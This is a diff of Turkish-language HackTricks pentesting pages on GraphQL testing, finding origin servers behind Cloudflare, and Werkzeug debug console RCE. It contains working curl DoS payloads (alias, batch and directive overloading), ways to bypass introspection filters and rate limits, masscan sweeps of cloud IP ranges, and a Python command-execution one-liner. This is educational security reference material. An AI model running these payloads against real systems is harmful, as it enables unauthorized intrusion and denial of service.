Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** oluşturur. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
[**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### GraphQL inspeksiyon savunmalarını aşma <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
API'lerde inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir:
|
||||
API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in göz ardı ettiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
|
||||
```
|
||||
### **Açık GraphQL Yapılarını Keşfetme**
|
||||
|
||||
İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarabilir. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır:
|
||||
İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
@ -428,13 +427,13 @@ Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax`
|
||||
|
||||
**Sorgu** **isteğini** ayrıca **GET** **isteği olarak göndermek genellikle mümkündür ve CSRF token'ı bir GET isteğinde doğrulanmayabilir.**
|
||||
|
||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
|
||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
|
||||
|
||||
Daha fazla bilgi için **buradaki** [**orijinal gönderiyi kontrol edin**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## GraphQL'de Çapraz Site WebSocket Ele Geçirme
|
||||
|
||||
GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile bir kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür.
|
||||
GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür.
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
@ -456,7 +455,7 @@ Mutasyon, diğer hesap verilerini değiştirmeye çalışarak hesap ele geçirme
|
||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||
}
|
||||
```
|
||||
### GraphQL'de Yetkilendirmeyi Aşma
|
||||
### GraphQL'de Yetkiyi Aşma
|
||||
|
||||
[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini aşabilir.
|
||||
|
||||
@ -466,11 +465,11 @@ Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve bunun yalnızca on
|
||||
|
||||
## GraphQL'de Takma Adlar Kullanarak Hız Sınırlarını Aşma
|
||||
|
||||
GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, **aynı türden birden fazla nesneyi** tek bir istekte almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir.
|
||||
GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla nesne** almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir.
|
||||
|
||||
GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP istekleri sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler.
|
||||
Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği beklenmedik bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP isteklerinin sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler.
|
||||
|
||||
Aşağıda sağlanan örneği düşünün; bu, takma adlı sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, birkaç sorguyu tek bir HTTP isteğine derleyerek hız sınırlamasını aşabilir ve potansiyel olarak birçok indirim kodunun aynı anda doğrulanmasına olanak tanıyabilir.
|
||||
```bash
|
||||
@ -491,18 +490,18 @@ valid
|
||||
|
||||
### Alias Aşırı Yükleme
|
||||
|
||||
**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözümleyicinin o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) 1,000 kez alias kullanılarak talep edilmektedir; bu, arka ucu 1,000 kez hesaplamaya zorlayarak CPU veya belleği potansiyel olarak tüketebilir:
|
||||
**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözücünün o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) alias kullanılarak 1.000 kez talep edilmektedir; bu, arka ucu 1.000 kez hesaplamaya zorlayarak CPU veya belleği tüketebilir:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı sınırları, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın.
|
||||
Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın.
|
||||
|
||||
### **Dizi Tabanlı Sorgu Gruplama**
|
||||
|
||||
**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak (CPU, bellek, veritabanı bağlantıları) tüketebilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı için bir sınır yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir.
|
||||
**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı üzerinde bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -514,7 +513,7 @@ Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini
|
||||
|
||||
### **Yönerge Aşırı Yükleme Açığı**
|
||||
|
||||
**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlayan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlayan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmetin Reddi (DoS)** ile sonuçlanabilir.
|
||||
**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlanan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlanan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmet Reddi (DoS)** ile sonuçlanabilir.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**dir:
|
||||
Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**'dır:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -554,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını test edin
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Toplu GraphQL sorguları ve değişiklikleri gerçekleştirmeye odaklanan GraphQL güvenlik denetim scripti.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'yi parmak izi ile tanımlayın
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları zorlamak ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti.
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları kaba kuvvetle denemek ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir.
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını** listeleyen araç.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL'nin Bağımsız ve CLI Modlarının Halefidir
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış oran sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını çalıştırmanıza olanak tanır.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla, introspection devre dışı olsa bile şemayı almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir.
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla şemayı, introspection devre dışı olsa bile almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir.
|
||||
|
||||
### İstemciler
|
||||
|
||||
@ -569,9 +568,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Otomatik Testler
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- AutoGraphQL'ü açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
- AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,22 +6,22 @@
|
||||
|
||||
- Alan adının **tarihi DNS kayıtlarını** veren bir hizmet kullanabilirsiniz. Belki web sayfası daha önce kullanılan bir IP adresinde çalışıyordur.
|
||||
- **Tarihi SSL sertifikalarını** kontrol ederek de aynı sonuca ulaşabilirsiniz; bu sertifikalar orijinal IP adresine işaret ediyor olabilir.
|
||||
- Ayrıca, **doğrudan IP'lere işaret eden diğer alt alan adlarının DNS kayıtlarını** kontrol edin; diğer alt alan adlarının aynı sunucuya işaret etmesi mümkündür (belki FTP, mail veya başka bir hizmet sunmak için).
|
||||
- Ayrıca, doğrudan IP'lere işaret eden **diğer alt alan adlarının DNS kayıtlarını** kontrol edin; diğer alt alan adlarının aynı sunucuya işaret etmesi mümkündür (belki FTP, mail veya başka bir hizmet sunmak için).
|
||||
- Web uygulaması içinde bir **SSRF bulursanız**, bunu sunucunun IP adresini elde etmek için kötüye kullanabilirsiniz.
|
||||
- Shodan gibi tarayıcılarda web sayfasının benzersiz bir dizesini arayın (belki google ve benzerleri?). Belki bu içerikle bir IP adresi bulabilirsiniz.
|
||||
- Benzer bir şekilde, benzersiz bir dize aramak yerine, aracı kullanarak favicon simgesini arayabilirsiniz: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) veya [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
- Bu, sunucu IP adresiyle erişildiğinde aynı yanıtı göndermelidir, bu yüzden çok sık çalışmayabilir, ama asla bilemezsiniz.
|
||||
- Benzer bir şekilde, benzersiz bir dize aramak yerine, [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) aracını veya [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) aracını kullanarak favicon simgesini arayabilirsiniz.
|
||||
- Bu, sunucu IP adresiyle erişildiğinde aynı yanıtı göndermelidir, ancak asla bilemezsiniz.
|
||||
|
||||
## Cloudflare'ı Ortaya Çıkarmak için Araçlar
|
||||
|
||||
- Alan adını [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) veya [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) içinde arayın. Veya [CloudPeler](https://github.com/zidansec/CloudPeler) aracını kullanın (bu API'yi kullanır).
|
||||
- Alan adını [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) veya [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) içinde arayın. Veya bu API'yi kullanan [CloudPeler](https://github.com/zidansec/CloudPeler) aracını kullanın.
|
||||
- Alan adını [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) içinde arayın.
|
||||
- [**CloudFlair**](https://github.com/christophetd/CloudFlair), alan adını içeren Censys sertifikalarını kullanarak arama yapacak bir araçtır, ardından bu sertifikalar içindeki IPv4'leri arayacak ve nihayetinde bu IP'lerdeki web sayfasına erişmeye çalışacaktır.
|
||||
- [**CloudFlair**](https://github.com/christophetd/CloudFlair), alan adını içeren Censys sertifikalarını kullanarak arama yapan bir araçtır, ardından bu sertifikalar içindeki IPv4'leri arar ve nihayetinde bu IP'lerdeki web sayfasına erişmeye çalışır.
|
||||
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r, Cloudflare ve diğer alternatifler tarafından korunan web sitelerinin gerçek IP adresini ortaya çıkarmak için titizlikle hazırlanmış güçlü bir Python aracıdır. Temel misyonu, Cloudflare'ın koruyucu kalkanının arkasında gizlenmiş web sunucularının gerçek IP adresini doğru bir şekilde belirlemektir.
|
||||
- [Censys](https://search.censys.io/)
|
||||
- [Shodan](https://shodan.io/)
|
||||
- [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
|
||||
- Web sayfasının bulunduğu potansiyel IP'ler setine sahipseniz, [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) kullanabilirsiniz.
|
||||
- Web sayfasının bulunduğu potansiyel IP'ler setine sahipseniz, [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) aracını kullanabilirsiniz.
|
||||
```bash
|
||||
# You can check if the tool is working with
|
||||
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
|
||||
@ -39,9 +39,11 @@ done
|
||||
|
||||
Bu işlemin AWS makineleri için yapılmış olsa da, başka herhangi bir bulut sağlayıcısı için de yapılabileceğini unutmayın.
|
||||
|
||||
Bu sürecin daha iyi bir tanımı için kontrol edin:
|
||||
Bu sürecin daha iyi bir tanımı için kontrol edin:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -70,7 +72,7 @@ Daha fazla bilgi [**burada**](https://socradar.io/cloudflare-protection-bypass-v
|
||||
|
||||
### Cloudflare IP Adreslerini Beyaz Listeye Alma
|
||||
|
||||
Bu, **Cloudflare’ın** IP adresi aralıklarından gelmeyen bağlantıları **reddedecektir**. Bu, bir saldırganın sadece **kendi alan adını Cloudflare'da** kurbanın **IP** adresine yönlendirmesi durumunda önceki kurulum için de savunmasızdır.
|
||||
Bu, **Cloudflare’ın** IP adresi aralıklarından gelmeyen bağlantıları **reddedecektir**. Bu, bir saldırganın sadece **Cloudflare'da kendi alan adını** kurbanın **IP** adresine yönlendirmesi durumunda önceki kurulum için de savunmasızdır.
|
||||
|
||||
Daha fazla bilgi [**burada**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
@ -128,9 +130,9 @@ Cloudflare'ın anti-bot önlemlerini tersine mühendislik yapmak, akıllı proxy
|
||||
|
||||
**Avantajlar:** Bu yöntem, Cloudflare'ın kontrollerini hedef alan son derece verimli bir bypass oluşturulmasına olanak tanır, büyük ölçekli operasyonlar için idealdir.
|
||||
|
||||
**Dezavantajlar:** Dezavantajı, Cloudflare'ın kasıtlı olarak belirsiz anti-bot sistemini anlamak ve kandırmak için gereken karmaşıklıktır; bu, farklı stratejileri test etmek ve Cloudflare korumalarını artırdıkça bypass'ı güncellemek için sürekli çaba gerektirir.
|
||||
**Dezavantajlar:** Dezavantajı, Cloudflare'ın kasıtlı olarak belirsiz anti-bot sistemini anlamak ve kandırmak için gereken karmaşıklıktır; bu, farklı stratejileri test etmek ve bypass'ı güncellemek için sürekli çaba gerektirir.
|
||||
|
||||
Bunu nasıl yapacağınız hakkında daha fazla bilgi [orijinal makalede](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) bulabilirsiniz.
|
||||
Bunu nasıl yapacağınız hakkında daha fazla bilgi için [orijinal makaleye](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) bakın.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -1,8 +1,7 @@
|
||||
# Werkzeug / Flask Debug
|
||||
# Werkzeug / Flask Hata Ayıklama
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Konsol RCE
|
||||
|
||||
Eğer hata ayıklama aktifse, `/console` adresine erişmeyi deneyebilir ve RCE elde edebilirsiniz.
|
||||
@ -11,13 +10,13 @@ __import__('os').popen('whoami').read();
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar bulunmaktadır veya metasploit'te bir tane.
|
||||
Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç exploit veya metasploit'te bir tane var.
|
||||
|
||||
## Pin Koruması - Yol Geçişi
|
||||
|
||||
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
|
||||
|
||||
### Werkzeug Konsol PIN İstismarı
|
||||
### Werkzeug Konsol PIN Açığı
|
||||
|
||||
Bunu görmek için uygulamada bir hata sayfası zorlayın:
|
||||
```
|
||||
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
"console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişmeye çalışırken karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyası (`__init__.py`) içindeki PIN oluşturma algoritmasını analiz etme önerisi yapılır. PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya gezinti açığı aracılığıyla temin edilmesi tavsiye edilir.
|
||||
